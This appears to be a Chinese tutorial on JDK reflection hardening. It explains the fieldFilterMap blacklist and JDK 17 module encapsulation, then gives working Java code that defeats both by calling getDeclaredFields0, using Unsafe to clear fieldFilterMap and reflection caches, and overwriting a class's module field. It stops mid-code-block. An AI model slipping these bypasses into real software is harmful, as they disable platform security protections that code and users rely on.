3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
/** 
* 反射工具类,提供 {@code java.lang} 与 {@code java.lang.reflect} 使用的公共工具方法,
* 并在对外暴露反射结果时对部分“敏感成员”做过滤(黑名单)。
*
* <p><b>设计要点</b>:
* 1) 这些过滤表读取极其频繁、更新极少,因此采用“写时复制(copy-on-write)”策略:
* 需要更新时构造一张新的不可变 Map(如 Map.of / Map.copyOf),再一次性赋值给
* {@code volatile} 字段,读路径无锁、可见性由 {@code volatile} 保证。
* 2) 过滤仅影响“通过标准反射 API 返回/枚举到的成员”;并不改变类本身的字节码或运行语义。
*/
public class Reflection {

/**
* 字段过滤表:key 为“声明类”,value 为该类中需屏蔽的字段名集合。
* 使用 {@code Set<String>} 支持通配(见 {@link #ALL_MEMBERS})。
*/
private static volatile Map<Class<?>, Set<String>> fieldFilterMap;

/**
* 方法过滤表:key 为“声明类”,value 为该类中需屏蔽的方法名集合。
*(当前示例为空,说明暂不屏蔽任何方法。)
*/
private static volatile Map<Class<?>, Set<String>> methodFilterMap;

/** 通配符:表示“该类下的所有同类成员均被过滤”。 */
private static final String WILDCARD = "*";

/** 便捷常量:包含一个通配符的不可变集合,等价于“屏蔽全部成员”。 */
public static final Set<String> ALL_MEMBERS = Set.of(WILDCARD);

// 静态初始化:发布默认过滤规则的不可变快照
static {
// 说明:下面每条规则后的注释解释“为什么要过滤”该字段/类的成员

fieldFilterMap = Map.of(
// 1) Reflection:屏蔽自身所有字段
// 目的:防止外部通过反射读取/篡改过滤表本身(fieldFilterMap/methodFilterMap 等),
// 从而失效或绕过过滤机制(“反射自举”攻击面)。
Reflection.class, ALL_MEMBERS,

// 2) AccessibleObject:屏蔽所有字段
// 目的:阻止外部直接操纵反射对象的内部状态(如 override/overrideFlag 等实现细节),
// 避免配合 Unsafe 等手段修改可访问位、跳过权限校验。
AccessibleObject.class, ALL_MEMBERS,

// 3) Class:屏蔽 classLoader 字段
// 目的:类加载器是高敏感对象;强行读取/写入可能导致未授权类定义、资源探测、
// 沙箱逃逸等。应通过受控 API(Class#getClassLoader 等)并受安全检查访问。
Class.class, Set.of("classLoader"),

// 4) ClassLoader:屏蔽所有字段
// 目的:阻断对类加载器内部结构(定义缓存、并行加载状态、父子关系等)的直接反射访问,
// 以免借道内部字段+本地写操作(Unsafe)触达 defineClass/内存镜像等敏感路径。
ClassLoader.class, ALL_MEMBERS,

// 5) Constructor:屏蔽所有字段
// 目的:阻断对反射“构造器对象”内部字段(如 clazz、root、slot、modifiers 等)的读写,
// 防止通过修改元数据来伪造可见性或绑定关系,从而绕过 checkCanSetAccessible。
Constructor.class, ALL_MEMBERS,

// 6) Field:屏蔽所有字段
// 目的:阻断对反射“字段对象”内部实现细节的篡改(如 modifiers、override 位、偏移量等),
// 避免利用私有字段 + Unsafe 写内存来“开盖”或重写修饰符。
Field.class, ALL_MEMBERS,

// 7) Method:屏蔽所有字段
// 目的:阻断对反射“方法对象”内部字段的直接访问(如 modifiers、clazz、methodAccessor 等),
// 防止把私有/受保护方法“伪装成 public”后调用(典型利用面)。
Method.class, ALL_MEMBERS,

// 8) Module:屏蔽所有字段
// 目的:防止直接读取/篡改模块内部状态(如包集、读取边、开放/导出状态缓存等),
// 避免规避 JPMS 的显式 opens/exports 规则。
Module.class, ALL_MEMBERS,

// 9) System:屏蔽 security 字段(历史上的全局 SecurityManager 引用)
// 目的:避免通过反射直接获取/替换安全管理器对象,绕过设置/权限审计路径
// (尽管现代 JDK 已逐步废弃 SM 语义,仍保留屏蔽以减小攻击面)。
System.class, Set.of("security")
);

// 方法过滤表:当前无屏蔽方法(保留扩展点)。
// 如需屏蔽,可按需添加,例如:
// methodFilterMap = Map.of(System.class, Set.of("setSecurityManager"));
methodFilterMap = Map.of();
}
}

这部分修改对应的 issue

问题
java.lang.reflectjava.lang.invoke 包中的许多类都包含私有字段,如果直接访问这些字段,可能会破坏运行时或导致虚拟机崩溃。理想情况下,java.base 中所有非公共/非受保护的字段都应该通过核心反射进行过滤,并且不能通过 Unsafe API 进行读写,但目前我们离这个目标还有很大距离。与此同时,现有的过滤机制暂时充当了一个应急补救措施。

解决方案
扩展过滤器,涵盖以下类中的所有字段:

  • java.lang.ClassLoader
  • java.lang.reflect.AccessibleObject
  • java.lang.reflect.Constructor
  • java.lang.reflect.Field
  • java.lang.reflect.Method
  • 以及 java.lang.invoke.MethodHandles.Lookup 中用于查找类和访问模式的私有字段。

提示

其实从上面的分析来看实际上在 JDK12 之前 Java 就对获取字段进行了限制。只不过从 JDK12 开始由于这个限制的加强,导致一些关键操作失败,由此衍生出一些绕过方法。因此这里把 JDK12 作为一个阶段的起点。

例如从 JDK 12 起,在修改 final 类型的变量的过程中,调用 getDeclaredField 函数获取Field 对象的 modifiers 成员时由于 Field 对象的所有成员都被过滤导致无法找到:

1
2
Exception in thread "main" java.lang.NoSuchFieldException: modifiers
at java.base/java.lang.Class.getDeclaredField(Class.java:2412)

getDeclaredField 函数实际会通过调用 privateGetDeclaredFields 函数来获取所有字段,在 privateGetDeclaredFields 函数中:

  • 首先会调用 getDeclaredFields0 从 JVM 中获取调用 getDeclaredFieldclazz 所表示的类的所有字段。
  • 之后调用 Reflection.filterFields 函数利用 fieldFilterMap 把这些字段过滤一遍,仅留下允许的字段。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
/**
* 返回由此 {@code Class} 表示的类或接口<strong>直接声明</strong>的、名称为 {@code name} 的字段对象。
* <p>
* 与 {@link #getField(String)} 不同,本方法<strong>不搜索超类层次</strong>,也会返回
* 非 public 的字段(private/protected/包可见);本方法仅获取“字段的反射对象”,
* 并不改变其可见性。若需越权访问,请使用 {@link Field#setAccessible(boolean)} /
* {@link Field#trySetAccessible()},该操作受 JPMS(模块化)的 opens 规则与
* SecurityManager(若启用)共同约束。
* </p>
*
* <p>返回的 {@link Field} 为内部元数据的<strong>防御性副本</strong>,
* 以避免调用方通过共享对象篡改反射缓存或实现细节。</p>
*
* @param name 字段的<strong>简单名称</strong>(区分大小写),不得为 {@code null}
* @return 匹配名称的字段对象(属于“本类直接声明”的字段)
* @throws NoSuchFieldException 若未找到同名字段(仅在本类/接口的“声明集合”中查找)
* @throws NullPointerException 若 {@code name} 为 {@code null}
* @throws SecurityException 若安全管理器阻止对声明成员的检查(参见 {@code checkMemberAccess})
*
* @see #getField(String)
* @see #getDeclaredFields()
* @see Field#setAccessible(boolean)
*/
@CallerSensitive
public Field getDeclaredField(String name)
throws NoSuchFieldException, SecurityException {
// 0) 形参校验:字段名不可为 null
Objects.requireNonNull(name);

// 1) 安全路径(旧版 Java 安全管理器):如启用,则检查调用方是否允许“查看声明成员”
// 这里传入的是 Member.DECLARED(仅检查本类声明的成员,不含继承)
SecurityManager sm = System.getSecurityManager();
if (sm != null) {
checkMemberAccess(sm, Member.DECLARED, Reflection.getCallerClass(), true);
}

// 2) 在“声明字段列表”里按名称查找(false 表示:不只要 public,而是“所有可见性”)
Field field = searchFields(privateGetDeclaredFields(false), name);
if (field == null) {
// 3) 未找到:仅在“本类/接口的声明字段集合”中查找,找不到就抛异常
throw new NoSuchFieldException(name);
}

// 4) 返回一个防御性副本,避免直接暴露内部缓存对象(实现细节:ReflectionFactory.copyField)
return getReflectionFactory().copyField(field);
}

/**
* 返回此类/接口<strong>直接声明</strong>的字段数组(可选仅 public)。
* <p>
* 该方法是“热路径”上的内部帮助方法:优先从反射缓存 {@code ReflectionData}
* 读取;若缓存缺失,则通过 VM 的本地方法获取原始字段数组,再经
* {@code Reflection.filterFields(this, ...)} 应用“敏感成员过滤规则”,
* 最后将结果写回缓存并返回。
* </p>
*
* <p><b>注意</b>:
* <ul>
* <li>仅包含“直接声明”的字段,不含父类/接口成员;</li>
* <li>当 {@code publicOnly == true} 时,仅包含本类声明的 public 字段;</li>
* <li>结果数组可能被缓存重用,应视为只读;调用方不要修改数组内容;</li>
* <li>过滤规则会屏蔽如 {@code classLoader}、安全相关字段以及反射实现内部状态等敏感成员;</li>
* <li>本方法不做可访问性开盖;是否能越权访问由后续 {@code setAccessible} 判定。</li>
* </ul>
* </p>
*
* @param publicOnly 是否仅返回本类<strong>声明的 public 字段</strong>
* @return 按条件筛选后的字段数组(已应用敏感成员过滤)
*/
private Field[] privateGetDeclaredFields(boolean publicOnly) {
Field[] res;

// A) 尝试从反射数据缓存读取(ReflectionData 由 Class 维护)
ReflectionData<T> rd = reflectionData();
if (rd != null) {
res = publicOnly ? rd.declaredPublicFields : rd.declaredFields;
if (res != null) return res; // 命中缓存
}

// B) 缓存未命中:调用 VM 层获取原始字段数组,然后应用“敏感成员过滤”
// Reflection.filterFields 会基于内部黑名单(fieldFilterMap)剔除不应暴露的字段
res = Reflection.filterFields(this, getDeclaredFields0(publicOnly));

// C) 回写缓存:分别缓存“全部声明字段”和“仅 public 声明字段”的结果
if (rd != null) {
if (publicOnly) {
rd.declaredPublicFields = res;
} else {
rd.declaredFields = res;
}
}

return res;
}

其中 filterFields 函数实际上就是暴力枚举获取到的所有字段 members 以及需要过滤的字段名称 filteredNames 得到过滤后的字段数组。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
/**
* 按“字段黑名单”过滤指定类的字段数组。
*
* <p>过滤规则来自 {@code fieldFilterMap}:key 为声明类,value 为需屏蔽的字段名集合。
* 若集合包含通配符 {@code "*"},则表示“该类的全部字段均被过滤”。</p>
*
* <p><b>行为特征</b>:
* <ul>
* <li>若没有该类的过滤规则(值为 {@code null}),或输入数组为空,则<strong>直接返回原数组</strong>;</li>
* <li>保留<strong>原有顺序</strong>;</li>
* <li>仅按<strong>简单名称</strong>精确匹配,大小写敏感;</li>
* <li>时间复杂度约为 O(n),其中 n 为字段数量(基于 Set 的均摊 O(1) 包含判断)。</li>
* </ul>
* </p>
*
* <p><b>注意</b>:当直接返回原数组时,调用方不应修改该数组内容,应视为只读。</p>
*
* @param containingClass 字段所属类(用于查表)
* @param fields 待过滤的字段数组(通常来自 VM 的声明字段快照)
* @return 过滤后的字段数组;若无过滤规则或数组为空,可能直接返回输入数组本身
*/
public static Field[] filterFields(Class<?> containingClass, Field[] fields) {
if (fieldFilterMap == null) {
// 未配置过滤表:不做任何处理
return fields;
}
// 查出该类对应的黑名单并执行通用过滤逻辑
return (Field[]) filter(fields, fieldFilterMap.get(containingClass));
}

/**
* 按名称集合过滤给定的成员数组(字段/方法/构造器)。
*
* <p>本方法是对 {@link java.lang.reflect.Member} 的通用实现:
* 输入为同构成员数组(如 {@code Field[]} / {@code Method[]} / {@code Constructor[]}),
* 输出保持<strong>相同的数组组件类型</strong>与<strong>原有相对次序</strong>。</p>
*
* <p><b>匹配规则</b>:
* <ul>
* <li>若 {@code filteredNames} 为 {@code null} 或 {@code members} 为空 → 直接返回原数组;</li>
* <li>若 {@code filteredNames} 包含通配符 {@code "*"} → 返回长度为 0 的同类型数组;</li>
* <li>否则:移除名称在 {@code filteredNames} 内的成员;方法名匹配为“全删同名”,
* 即对于方法的多重载,若名字在集合中,则所有该名称的重载都被移除。</li>
* </ul>
* </p>
*
* <p><b>实现说明</b>:
* 通过 {@code Array.newInstance(members[0].getClass(), size)} 构造<strong>与输入一致的数组类型</strong>
*(例如输入为 {@code Field[]} 则返回的也是 {@code Field[]})。</p>
*
* @param members 同构的成员数组(不可为混合类型)
* @param filteredNames 需要移除的成员名称集合;包含通配符 {@code "*"} 时表示移除全部
* @return 过滤后的成员数组;若无需过滤或输入为空,可能直接返回输入数组
*/
private static Member[] filter(Member[] members, Set<String> filteredNames) {
// 无规则或无成员:直接返回原数组(保持零开销)
if ((filteredNames == null) || (members.length == 0)) {
return members;
}

// 组件类型:确保返回数组与输入数组类型一致(Field[] / Method[] / Constructor[])
Class<?> memberType = members[0].getClass();

// 通配符:整类成员全部剔除,返回同类型的空数组
if (filteredNames.contains(WILDCARD)) {
return (Member[]) Array.newInstance(memberType, 0);
}

// 单次扫描统计保留数(保持稳定次序,用两遍循环避免中间结构分配)
int kept = 0;
for (Member m : members) {
if (!filteredNames.contains(m.getName())) {
kept++;
}
}

// 若全被过滤:直接返回空数组
Member[] newMembers = (Member[]) Array.newInstance(memberType, kept);
if (kept == 0) return newMembers;

// 二次扫描拷贝保留成员,保持原有顺序
int i = 0;
for (Member m : members) {
if (!filteredNames.contains(m.getName())) {
newMembers[i++] = m;
}
}
return newMembers;
}

绕过方法

调用 getDeclaredFields0 函数

由于过滤是基于 getDeclaredFields0 的结果进行的,而 getDeclaredFields0 本体在反射调用中并不会被限制(因为只有字段被限制获取,而方法没有被限制获取):

1
private native Field[]       getDeclaredFields0(boolean publicOnly);

因此我们可以通过反射调用 getDeclaredFields0 获取字段,由此实现的 getDeclaredField 函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
/**
* 递归获取指定类及其父类中的声明字段(包括私有字段)
*
* @param clazz 目标类
* @param fieldName 需要查找的字段名称
* @return 如果找到指定名称的字段,则返回该字段对象;否则返回 null
*/
public static Field getDeclaredField(Class<?> clazz, String fieldName) {
// 循环遍历当前类及其所有父类
while (clazz != null) {
try {
// 通过反射获取 Class 类的私有方法 getDeclaredFields0
Method getDeclaredFields0 = Class.class.getDeclaredMethod("getDeclaredFields0", boolean.class);
// 设置该方法可访问,因为它是私有方法
getDeclaredFields0.setAccessible(true);

// 调用 getDeclaredFields0 方法获取指定类的所有字段(包括私有字段,但不包括父类的字段)
Field[] fields = (Field[]) getDeclaredFields0.invoke(clazz, false);

// 遍历该类的字段数组,查找是否有匹配的字段
for (Field field : fields) {
if (fieldName.equals(field.getName())) {
// 设置字段为可访问,以便后续可以修改或获取其值
field.setAccessible(true);
return field; // 返回找到的字段
}
}
} catch (Exception e) {
// 发生异常时,抛出运行时异常
throw new RuntimeException(e);
} finally {
// 继续搜索父类中的字段,直到 clazz 为 null(即到达继承层级的顶端)
clazz = clazz.getSuperclass();
}
}
return null; // 如果在所有继承层级中都未找到该字段,则返回 null
}

提示

JDK17 和高版本的 JDK16 的模块化系统的限制增强,导致上述方法中的 getDeclaredFields0.setAccessible(true); 会出现如下报错:

1
2
3
4
5
6
7
8
9
10
11
Exception in thread "main" java.lang.RuntimeException: java.lang.reflect.InaccessibleObjectException: Unable to make private native java.lang.reflect.Field[] java.lang.Class.getDeclaredFields0(boolean) accessible: module java.base does not "opens java.lang" to unnamed module @3d075dc0
at com.example.Main.getDeclaredField(Main.java:44)
at com.example.Main.main(Main.java:70)
Caused by: java.lang.reflect.InaccessibleObjectException: Unable to make private native java.lang.reflect.Field[] java.lang.Class.getDeclaredFields0(boolean) accessible: module java.base does not "opens java.lang" to unnamed module @3d075dc0
at java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible(AccessibleObject.java:357)
at java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible(AccessibleObject.java:297)
at java.base/java.lang.reflect.Method.checkCanSetAccessible(Method.java:199)
at java.base/java.lang.reflect.Method.setAccessible(Method.java:193)
at com.example.Main.getDeclaredField(Main.java:29)
... 1 more

置空 fieldFilterMap

另一种绕过方法是直接置空 fieldFilterMap,具体过程为:

  1. 读取 Reflection.class 字节码并创建匿名类。

    1
    2
    3
    Class<?> reflectionClass = Class.forName("jdk.internal.reflect.Reflection");
    byte[] classBuffer = reflectionClass.getResourceAsStream("Reflection.class").readAllBytes();
    Class<?> reflectionAnonymousClass = unsafe.defineAnonymousClass(reflectionClass, classBuffer, null);

    因为 fieldFilterMap 过滤了 Reflection 的所有成员,无法直接使用 getDeclaredField 获取 Field。因此这里通过 unsafe.defineAnonymousClass() 方法,基于原始 Reflection 类字节码,动态创建一个匿名类,从而可以由此匿名类来获取类成员 fieldFilterMap

  2. 获取 fieldFilterMap 字段并置空。

    1
    2
    3
    4
    Field fieldFilterMap = reflectionAnonymousClass.getDeclaredField("fieldFilterMap");
    if (fieldFilterMap.getType().isAssignableFrom(HashMap.class)) {
    unsafe.putObject(reflectionClass, unsafe.staticFieldOffset(fieldFilterMap), new HashMap<>());
    }

    匿名类不受 fieldFilterMap 过滤,因此可以成功获取到原本无法访问的 fieldFilterMap 字段。之后检查字段类型是否为 HashMap,确保类型正确,并使用 unsafe.putObject()Reflection 类中的静态字段 fieldFilterMap 替换为 新的空 HashMap。这意味着反射 API 将不再过滤任何字段,从而绕过 Java 的反射安全机制

  3. 清除 Class 类的反射缓存。

    JVM 在第一次反射时,会将反射信息缓存到 reflectionData 中。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    ReflectionData<T> rd = reflectionData();

    // [...]

    // B) 缓存未命中:调用 VM 层获取原始字段数组,然后应用“敏感成员过滤”
    // Reflection.filterFields 会基于内部黑名单(fieldFilterMap)剔除不应暴露的字段
    res = Reflection.filterFields(this, getDeclaredFields0(publicOnly));

    // C) 回写缓存:分别缓存“全部声明字段”和“仅 public 声明字段”的结果
    if (rd != null) {
    if (publicOnly) {
    rd.declaredPublicFields = res;
    } else {
    rd.declaredFields = res;
    }
    }

    return res;

    如果不清除缓存,fieldFilterMap 的修改不会立即生效,反射仍然会受到旧的限制

    1
    2
    3
    4
    5
    6
    // A) 尝试从反射数据缓存读取(ReflectionData 由 Class 维护)
    ReflectionData<T> rd = reflectionData();
    if (rd != null) {
    res = publicOnly ? rd.declaredPublicFields : rd.declaredFields;
    if (res != null) return res; // 命中缓存
    }

    通过分析 ReflectionData 相关代码可以发现,reflectionData 函数本质上返回的是 Class 中用于缓存反射信息的 ReflectionData 字段。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    /**
    * 反射支持(为 Class 的反射结果做缓存及失效控制)。
    *
    * 设计要点:
    * 1) 通过 SoftReference 缓存反射派生数据(字段/方法/构造器/接口等),在内存紧张时允许被 GC 回收;
    * 2) 通过 classRedefinedCount 与 JVMTI 的 RedefineClasses() 钩子联动,当类(或其父类)被重定义时
    * 使缓存失效,从而保证反射结果与最新类结构一致;
    * 3) 所有关键字段使用 volatile,保证并发场景下的可见性;transient 避免将缓存随对象序列化。
    */

    // 是否启用反射结果缓存的开关;可在极端调试/诊断场景关闭以每次都走真实计算。
    private static boolean useCaches = true;

    /**
    * 每个 Class<T> 对应的一组反射缓存数据。
    * 注意:当 JVM TI 的 RedefineClasses() 重定义该类或其父类时,这些数据会过期。
    */
    private static class ReflectionData<T> {
    // 仅本类“声明”的字段(不含父类)
    volatile Field[] declaredFields;
    // 本类“public 字段” + 从父类继承下来的 public 字段
    volatile Field[] publicFields;

    // 仅本类“声明”的方法(不含父类)
    volatile Method[] declaredMethods;
    // 本类“public 方法” + 从父类继承下来的 public 方法
    volatile Method[] publicMethods;

    // 仅本类“声明”的构造器(所有可见性)
    volatile Constructor<T>[] declaredConstructors;
    // 本类的 public 构造器
    volatile Constructor<T>[] publicConstructors;

    // getFields/getMethods 计算过程中的中间产物(声明 + 过滤 public 后的版本)
    volatile Field[] declaredPublicFields;
    volatile Method[] declaredPublicMethods;

    // 本类直接实现的接口(不含父类实现的)
    volatile Class<?>[] interfaces;

    // 创建本 ReflectionData 时所记录的“类被重定义次数”。
    // 若后续 classRedefinedCount 改变,说明类结构已变,当前缓存即过期。
    final int redefinedCount;

    ReflectionData(int redefinedCount) {
    this.redefinedCount = redefinedCount;
    }
    }

    // 软引用包装的缓存容器:在内存吃紧时可被 GC 清理;
    // volatile 确保并发读写的可见性;transient 防止序列化带出缓存内容。
    private volatile transient SoftReference<ReflectionData<T>> reflectionData;

    // 当该类或其父类被 JVMTI 的 RedefineClasses() 重定义时,JVM 会递增该计数。
    // volatile 保证并发下读取到最新值。
    private volatile transient int classRedefinedCount = 0;

    /**
    * 懒加载并返回当前有效的 ReflectionData:
    * - 若缓存存在、未被 GC 回收、且与当前重定义计数相等 → 直接复用;
    * - 否则创建新的 ReflectionData 并替换(newReflectionData 内部完成写回)。
    */
    private ReflectionData<T> reflectionData() {
    SoftReference<ReflectionData<T>> reflectionData = this.reflectionData;
    int classRedefinedCount = this.classRedefinedCount;
    ReflectionData<T> rd;

    if (useCaches &&
    reflectionData != null && // 有软引用包装
    (rd = reflectionData.get()) != null && // 软引用尚未被 GC 清理
    rd.redefinedCount == classRedefinedCount) { // 与当前重定义计数一致 → 缓存有效
    return rd;
    }
    // 没有软引用 / 软引用已被清理 / 计数不一致(缓存过期)
    // → 创建并替换新的 ReflectionData(具体替换逻辑由 newReflectionData 实现)
    return newReflectionData(reflectionData, classRedefinedCount);
    }

    我们可以参考前面从 Reflection 获取 fieldFilterMap 的方法从 Class 获取 reflectionData 字段并置为 null强制 JVM 清空缓存,迫使其重新解析反射数据。清除缓存后,JVM 将重新读取并应用新的 fieldFilterMap,达到绕过限制的效果。

    1
    2
    3
    4
    byte[] clz = Class.class.getResourceAsStream("Class.class").readAllBytes();
    Class<?> classAnonymousClass = unsafe.defineAnonymousClass(Class.class, clz, null);
    Field reflectionData = classAnonymousClass.getDeclaredField("reflectionData");
    unsafe.putObject(Class.class, unsafe.objectFieldOffset(reflectionData), null);

完整代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public static void bypassFieldFilterMap() throws Exception {
Field f = Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");
f.setAccessible(true);
Unsafe unsafe = (Unsafe) f.get(null);

Class<?> reflectionClass = Class.forName("jdk.internal.reflect.Reflection");
byte[] classBuffer = reflectionClass.getResourceAsStream("Reflection.class").readAllBytes();
Class<?> reflectionAnonymousClass = unsafe.defineAnonymousClass(reflectionClass, classBuffer, null);
Field fieldFilterMap = reflectionAnonymousClass.getDeclaredField("fieldFilterMap");

if (fieldFilterMap.getType().isAssignableFrom(HashMap.class)) {
unsafe.putObject(reflectionClass, unsafe.staticFieldOffset(fieldFilterMap), new HashMap<>());
}

byte[] clz = Class.class.getResourceAsStream("Class.class").readAllBytes();
Class<?> classAnonymousClass = unsafe.defineAnonymousClass(Class.class, clz, null);
Field reflectionData = classAnonymousClass.getDeclaredField("reflectionData");
unsafe.putObject(Class.class, unsafe.objectFieldOffset(reflectionData), null);
}

这里置空 fieldFilterMap 字段时为了获取该字段的偏移用了 Unsafe#defineAnonymousClass 方法进行绕过。由于 defineAnonymousClass 方法在 JDK 17 被正式移除,因此高版本 JDK 还需要寻找其他方法进行绕过。

JDK ≥ 17 (setAccessible)

JDK17(以及高版本的 JDK16)针对 checkCanSetAccessible 的限制进一步增强。

限制条件分析

JDK 9 开始,checkCanSetAccessible 会在调用 setAccessible(true) 前做一次模块“开放”(opens)检查。核心判断就是:

1
2
3
4
5
// 如果被反射类的包是对调用者开放的,返回 true
if (declaringModule.isOpen(pn, callerModule)) {
logIfOpenedForIllegalAccess(caller, declaringClass);
return true;
}
  • JDK 9~15 的默认迁移模式--illegal-access=permit)下,JRE 会把 JDK 8 就已存在的包(例如 java.base/java.lang临时“打开”给所有未命名模块(ALL-UNNAMED)。因此当调用方在 classpath(未命名模块)时,这里 isOpen(pn, callerModule) 判定为 truesetAccessible(true) 得以放行,并打印“一次性”非法反射警告。
  • 到了 JDK 16,默认改为强封装:不再默认“临时打开”,除非你显式选择“宽松模式”(仍然可用 --illegal-access=permit 恢复 JDK 9 的行为)。所以默认情况下 isOpen(...) 多半变为 false
  • JDK 17 起,JDK 内部彻底强封装移除了 --illegal-access 选项;不再做那种“自动临时打开”。因此 declaringModule.isOpen(pn, callerModule) 对诸如 java.base/java.lang 这类包将**不再返回 true**。若仍要深反射,必须显式加:
    --add-opens java.base/java.lang=ALL-UNNAMED(或开到具体的命名模块),或在运行期调用 Module::addOpens

也就是说 JDK 16/17+ 默认不再自动 opens,isOpen(...) 因而返回 false,需要显式 --add-opens 才能通过。

绕过方法

修改 module 属性

前面在 JDK9 版本时我们已经提出了一个通过修改字段的访问属性来绕过 checkCanSetAccessible 的方法。然而这个方法需要我们修改被反射操作的对象成员的 modifiers 属性。

由于从 JDK 12 版本开始,getDeclaredField 方法限制增多,因此我们无法直接获取到 modifiers 属性然后通过 Unsafe 模块修改(由于这里是 setAccessible 加强因此根本不会考虑反射修改)。

如果直接利用 Unsafe 模块的 Unsafe#defineAnonymousClass 方法绕过字段获取,则会由于 JDK17 该方法删除而失败。

而前面绕过 getDeclaredField 的思路到 JDK17 版本时均已失效,因此同样无法获取字段。

  • 调用 getDeclaredFields0 方法在 setAccessible 这一步被禁止。
  • 置空 fieldFilterMap 方法因 Unsafe#defineAnonymousClass 方法被移除而失效。

不过对于 getDeclaredFields0 这个方法,在 checkCanSetAccessible 中还判断了很多条件,我们只要想办法让其中一个条件得到满足就能绕过。

由于 fieldFilterMap 没有过滤 Classmodule 成员,因此一种常见的方法就是通过 Unsafe 修改当前调用者的模块为 Object 所在模块,这样就可以通过下面这条判断。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// set by VM
private transient Module module;

/**
* 返回此类或接口所属的模块。
*
* 如果此类表示一个数组类型,则此方法返回该元素类型的 {@code Module}。
* 如果此类表示一个原始类型或 void,则返回 {@code java.base} 模块的 {@code Module} 对象。
*
* 如果此类位于一个未命名的模块中,则返回该类加载器的 {@linkplain
* ClassLoader#getUnnamedModule() 未命名模块} {@code Module}。
*
* @return 返回此类或接口所属的模块
*
* @since 9
* @spec JPMS
*/
public Module getModule() {
return module;
}

private boolean checkCanSetAccessible(Class<?> caller,
Class<?> declaringClass,
boolean throwExceptionIfDenied) {
Module callerModule = caller.getModule();
// [...]
if (callerModule == Object.class.getModule()) return true;
// [...]

}

提示

当我们设置 callerModuleObject.class.getModule() 时,相当于关于 setAccessible 的防护已经被关闭了,此时不光是 getDeclaredFields0,其它任何属性我们都可以调用 setAccessible(true) 获取所有权限。

我们可以对前面的 getDeclaredField 方法进一步作如下改进:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
/**
* 递归获取指定类及其父类中的声明字段(包括私有字段)
*
* @param clazz 目标类
* @param fieldName 需要查找的字段名称
* @return 如果找到指定名称的字段,则返回该字段对象;否则返回 null
*/
public static Field getDeclaredField(Class<?> clazz, String fieldName) throws Exception {
Field unsafeField = Unsafe.class.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) unsafeField.get(null);
Module objModule = Object.class.getModule();
long offset = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
unsafe.getAndSetObject(Class.forName(Thread.currentThread().getStackTrace()[1].getClassName()), offset, objModule);

// 循环遍历当前类及其所有父类
while (clazz != null) {
try {
// 通过反射获取 Class 类的私有方法 getDeclaredFields0
Method getDeclaredFields0 = Class.class.getDeclaredMethod("getDeclaredFields0", boolean.class);
// 设置该方法可访问,因为它是私有方法
getDeclaredFields0.setAccessible(true);
// 调用 getDeclaredFields0 方法获取指定类的所有字段(包括私有字段,但不包括父类的字段)
Field[] fields = (Field[]) getDeclaredFields0.invoke(clazz, false);

// 遍历该类的字段数组,查找是否有匹配的字段
for (Field field : fields) {
if (fieldName.equals(field.getName())) {
// 设置字段为可访问,以便后续可以修改或获取其值
field.setAccessible(true);
return field; // 返回找到的字段
}
}
} catch (Exception e) {
// 发生异常时,抛出运行时异常
throw new RuntimeException(e);
} finally {
// 继续搜索父类中的字段,直到 clazz 为 null(即到达继承层级的顶端)
clazz = clazz.getSuperclass();
}
}
return null; // 如果在所有继承层级中都未找到该字段,则返回 null
}

提示

由于我们无法直接调用 ReflectiongetCallerClass 方法(因为此时 setAccessible 还没有被绕过),因此这里我通过 Class.forName(Thread.currentThread().getStackTrace()[1].getClassName()) 来获取调用者对应的 Class 对象。

其中 Thread.currentThread().getStackTrace() 获取了当前线程的调用栈,返回结果是一个数组表示调用栈中的所有方法。

需要注意的是 getStackTrace() 返回的堆栈是反向的,第一个元素是当前方法(即调用 getStackTrace 的方法),所以调用栈的第一个元素是当前方法,第二个元素才是调用 getStackTrace 方法的上一个方法。

我们通过 getClassName 获取调用 getStackTrace 方法的上一个方法对应的类名,然后再使用 Class.forName 获取对应的 Class 对象

借助改进后的 getDeclaredField 我们成功的获取并修改了 defineClass 对应 MethodClass 对象的 modifiers 属性。

1
2
3
4
5
6
7
8
9
10
11
Field unsafeField = Unsafe.class.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
